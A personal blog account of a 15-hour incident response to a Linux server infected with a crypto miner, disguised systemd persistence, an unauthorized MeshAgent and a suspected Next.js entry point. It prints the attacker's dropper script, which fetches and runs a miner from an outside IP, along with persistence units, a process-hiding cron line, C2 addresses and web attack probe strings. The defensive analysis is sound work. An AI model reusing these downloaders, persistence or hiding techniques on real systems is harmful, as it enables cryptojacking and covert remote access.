My Server Got Hacked: 15 Hours Fighting Crypto Miners and Hidden Backdoors

It was supposed to be a relaxing Friday evening.

Instead, I received an alarming message from my cloud provider:

"A large amount of outbound traffic is being generated from your server to a Chinese IP address."

I immediately connected to the server via SSH.

The CPU usage was nearly 100%.

What followed was approximately 15 hours of incident response, involving cryptocurrency miners, hidden systemd services, multiple persistence mechanisms, a remote management backdoor, and a suspected Next.js vulnerability.

Here's what happened, what I discovered, and what I learned.

---

1. The Incident Begins

Friday, December 5, 2025

After receiving the warning from my cloud provider, the first thing I did was run:

top

One process immediately caught my attention:

PID      USER  PR NI  VIRT  RES   SHR  S  %CPU  %MEM  COMMAND
2096450  root  20  0   7820  1368  1168 R  93.3  0.0   strings

Wait... strings?

Why was a simple utility consuming over 90% of the CPU?

I killed the process.

But it came back.

Every time I terminated it, another process appeared with a different PID.

Clearly, something was keeping it alive.

2. Investigating the Process Tree

I started tracing the parent-child relationships using pstree.

pstree -ap

The result revealed something interesting:

systemd,1
 └─sh,882056 /dev/health.sh
     ├─grep,2110109 -q xmrig
     └─strings,2110108 /proc/2497/exe

There was a shell script running from:

/dev/health.sh

I had never created this script.

Even more suspiciously, five instances of it were running simultaneously.

Examining health.sh

I opened the script to understand what it was doing.

while true; do
    for proc_dir in /proc/[0-9]*; do
        pid=${proc_dir##*/}

        if strings "/proc/$pid/exe" 2>/dev/null | grep -q xmrig; then
            kill -9 "$pid"
            continue
        fi

        result=$(ls -l "/proc/$pid/exe" 2>/dev/null)

        case "$result" in
            *"(deleted)"* | *"xmrig"* | *"watcher"* | *"/tmp/a"* | *"softirq"* | *"rondo"*)
                kill -9 "$pid"
                ;;
        esac
    done

    sleep 45
done

This script continuously scanned running processes every 45 seconds.

It inspected executable files under /proc and terminated processes matching specific patterns, including:

• xmrig
• watcher
• softirq
• rondo
• /tmp/a

Interestingly, the script appeared to be killing other mining processes.

My interpretation was that the attacker wanted to eliminate competing miners and maintain exclusive access to the server's computing resources.

However, this script was only part of the infection.

3. Discovering the Actual Mining Payload

The more important file was located at:

/dev/shm/bts

Its contents explained how the mining operation worked.

#!/bin/bash

pkill -9 xmrig

P="fghgf"
R="/dev"

if ! pgrep $P > /dev/null; then
    busybox wget http://193.34.213.150/nuts/x -O->/tmp/$P
    busybox wget http://193.34.213.150/nuts/lc -O->/tmp/config.json

    chmod 777 /tmp/$P
    /tmp/$P -c /tmp/config.json -B &
fi

if ! pgrep "health.sh"; then
    cat <<'EOF' > "${R}/health.sh"
    # ... health.sh content auto-generated ...
EOF

    chmod 777 "${R}/health.sh"
    ${R}/health.sh &
fi

echo MEOWWWWWWWWW

The execution flow was relatively straightforward:

1. Kill existing xmrig processes.
2. Download a mining executable and configuration file from an attacker-controlled server.
3. Make the downloaded executable runnable.
4. Launch the miner in the background.
5. Recreate health.sh if it is missing.

And finally:

echo MEOWWWWWWWWW

Yes. The attacker actually left a MEOWWWWWWWWW message in the script.

Not exactly what I expected to find during a security incident.

What made this dangerous?

The payload was not simply a standalone miner.

It also included mechanisms to maintain the mining operation and interfere with other processes.

This meant that killing one suspicious process would not necessarily stop the infection.

Unfortunately, I learned that lesson the hard way.

---

4. My First Attempt at Removal

At this point, I believed I had identified the malicious components.

I terminated the suspicious processes:

pkill -9 -f "health.sh"
pkill -9 -f "fghgf"

Then removed the files:

rm -f /dev/health.sh
rm -f /dev/shm/bts
rm -f /tmp/fghgf
rm -f /tmp/config.json

I also blocked the identified IP address using UFW:

ufw deny out to 193.34.213.150
ufw deny in from 193.34.213.150

Additionally, I applied country-based access restrictions through my cloud provider's firewall.

The CPU usage returned to normal.

Everything looked fine.

I thought the incident was over.

It wasn't.

---

5. Ten Hours Later: The Miner Returns

Saturday, December 6, 2025

Around 10 AM, I checked the server again.

The CPU usage had reached 200%.

A new suspicious process was running:

PID      USER  PR NI  VIRT  RES  SHR  S  %CPU   COMMAND
2313800  root  20  0   ...   ...  ...  R  200.0  p9gzSA

This time, the executable had a different name.

p9gzSA

Its command line revealed another mining endpoint:

/root/aO7j/p9gzSA -o www.digitaloceana.top:80 --tls

The attacker was not relying on a single executable or endpoint.

My initial cleanup had removed the visible symptoms, but something deeper was still active.

I decided to investigate the entire system.

6. Hidden Persistence Through systemd

While examining system services, I discovered a suspicious unit file:

cat /usr/lib/systemd/system/systemd-agent.service

Its contents were:

[Unit]
Description=System Daemon
Wants=network-online.target
After=network-online.target

[Service]
ExecStart=/bin/systemd-daemon --user
Restart=always
User=root

[Install]
WantedBy=multi-user.target

At first glance, the name looked legitimate.

systemd-agent.service

The description was equally generic:

System Daemon

But the service was not part of my intended system configuration.

Why this mattered

Several details stood out:

• Restart=always would restart the process whenever it exited.
• User=root meant the executable ran with root privileges.
• WantedBy=multi-user.target allowed the service to be enabled for normal system startup.
• The executable name resembled a legitimate system component.

This explained why simply killing processes was not enough.

The system itself could restart the malicious executable.

Additional C2 Infrastructure

During further analysis, I identified four hardcoded IP addresses associated with the suspicious components:

185.247.224.41
87.98.162.88
82.221.103.244
67.215.246.10

The attacker had apparently prepared multiple endpoints rather than depending on a single server.

Blocking one address was never going to be a complete solution.

---

7. A Remote Management Backdoor: MeshAgent

The next discovery was even more concerning.

I found a directory containing a MeshAgent executable:

ls /usr/local/mesh_services/meshagent/

Output:

meshagent

MeshAgent is associated with MeshCentral, a legitimate remote device management platform.

But in this context, I had never authorized its installation.

The configuration referenced:

MeshServer: wss://72.62.67.33:443/agent.ashx
MeshName: all_notcloud

This suggested that the attacker had installed a remote management agent.

The incident was no longer just about cryptocurrency mining.

An unauthorized remote management tool could potentially provide persistent access to the compromised server.

A Suspicious Cron Job

I also discovered an unusual crontab entry:

* * * * * pgrep -f meshagent | while read pid; do \
    mountpoint -q /proc/$pid || mount -o bind /tmp/empty /proc/$pid 2>/dev/null; \
done

This command ran every minute.

It attempted to bind-mount /tmp/empty over /proc/$pid for processes matching meshagent.

This appeared to be an attempt to interfere with process inspection or visibility, although the precise effect would depend on the mount configuration and whether the command succeeded.

By this point, I had identified multiple layers of suspicious activity:

• Cryptocurrency mining processes
• Scripts that recreated malicious components
• A disguised systemd service
• Multiple external endpoints
• An unauthorized remote management agent
• A cron-based process manipulation mechanism

Removing the miner alone was clearly insufficient.

---

8. Tracing the Initial Intrusion

I realized that my first response had focused entirely on removing malicious files.

I had not answered the most important question:

How did the attacker get into the server in the first place?

I started by reviewing SSH authentication logs.

grep -i "Accepted" /var/log/auth.log

I couldn't find evidence of a suspicious external SSH login.

That pushed my investigation toward the web applications hosted on the server.

Analyzing Web Server Access Logs

I reviewed the web server access logs chronologically.

The activity suggested that reconnaissance attempts had begun in late November.

More aggressive attack traffic appeared around December 2.

On December 5, I found evidence of remote code execution attempts.

On December 6, the logs showed a large-scale scan involving numerous potential RCE vectors within a short period.

Some of the suspicious requests targeted:

/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
php://input
eval-stdin.php
call_user_func_array
pearcmd&+config-create

These corresponded to well-known attack techniques:

Payload / Target	Suspected Attack Type
/cgi-bin/.%2e/.../bin/sh	Path traversal
php://input	PHP code execution
eval-stdin.php	PHPUnit RCE
call_user_func_array	ThinkPHP RCE
pearcmd&+config-create	PEAR command injection

The attacker, or automated scanning infrastructure, appeared to be probing a variety of known vulnerabilities.

But one application stood out.

---

9. The Suspected Entry Point: Next.js RSC

The server was also hosting a Next.js application.

While reviewing the access logs, I noticed numerous POST requests targeting endpoints associated with React Server Components and Server Actions.

Examples included:

POST /_next/flight
POST /_react/flight
POST /_next/server-actions

These requests raised concerns about exploitation attempts targeting React Server Components serialization and deserialization behavior.

At the time of the incident, critical RCE vulnerabilities affecting React Server Components and certain Next.js deployments had become a major security concern.

The observed traffic was consistent with attempts to exploit this class of vulnerability.

Why I Suspected Next.js

Several observations pointed toward the application:

1. The server was running a Next.js project.
2. The access logs contained suspicious POST traffic targeting RSC-related endpoints.
3. The incident occurred during a period of active exploitation of RSC-related vulnerabilities.
4. My first cleanup did not address the potentially vulnerable application.
5. The server experienced another mining incident after the initial removal.

Based on the evidence available to me, the Next.js application was the strongest suspected entry point.

However, the access logs alone did not conclusively prove which request achieved code execution.

Confirming the exact exploit would require additional evidence, such as payload analysis, application version verification, process execution telemetry, or forensic correlation.

The important lesson was unchanged:

Removing malware without addressing the vulnerability that may have allowed the intrusion leaves the system exposed.

---

10. Final Response: Rebuilding the Server

After discovering the multiple persistence mechanisms, I no longer trusted the integrity of the operating system.

The suspicious components had operated with root privileges.

There was no reliable way to guarantee that every malicious modification had been discovered.

Instead of continuing to remove individual files, I chose to rebuild.

The response included:

• Applying security patches and updating vulnerable application dependencies.
• Decommissioning the compromised server.
• Migrating the application to a newly provisioned server.
• Reviewing firewall and network access rules.
• Reassessing the application's exposed attack surface.

The old server was ultimately removed.

A clean environment was the safer choice than continuing to operate a system whose integrity could no longer be trusted.

---

11. What I Learned

1. Normal CPU usage does not mean the server is clean

During my first response, I treated the CPU returning to normal as a sign of success.

That was my biggest mistake.

The miner had stopped, but persistence mechanisms remained.

2. Attackers may establish multiple persistence mechanisms

In this incident, I discovered suspicious components involving:

• Shell scripts
• systemd services
• Cron jobs
• Remote management software

Finding one malicious process does not mean you have found the entire compromise.

3. Always investigate the initial access vector

Deleting the payload does not fix the vulnerability that allowed it to execute.

Incident response must include identifying and addressing the original entry point wherever possible.

4. Root-level compromise changes the recovery strategy

Once an attacker has gained root-level execution, manually removing suspicious files cannot establish that the system is trustworthy again.

Rebuilding from a known-good environment is often the safest recovery approach.

5. Logs are essential

Without web server access logs, I would have had very little information about the attack timeline.

The chronological log analysis helped me understand how the incident developed and where to focus the investigation.

6. Security updates cannot be postponed indefinitely

Even a small web application can become an entry point for a much larger compromise.

Keeping frameworks, runtimes, and dependencies updated is essential.

---

Final Thoughts

What started as a suspicious CPU spike turned into a 15-hour investigation.

I found cryptocurrency miners, a disguised systemd service, multiple external endpoints, an unauthorized MeshAgent installation, and evidence suggesting attempts to exploit a Next.js RSC vulnerability.

The most important lesson was simple:

Don't just remove the malware. Find out how it got there, eliminate persistence, and restore trust in the environment.

During the first response, I focused on making the symptoms disappear.

During the second response, I finally started investigating the underlying compromise.

That difference changed how I think about server security and incident response.

If you've dealt with a similar Linux server compromise, I'd be interested to hear what persistence mechanisms you encountered and how you approached recovery.

---

Originally published on my personal blog: Server Gets Hacked — Crypto Miner Incident Response

All IP addresses, domains, commands, and process names shown in this article were observed during the incident. They are included for security research and incident analysis purposes. Their presence does not establish current malicious activity or attribution.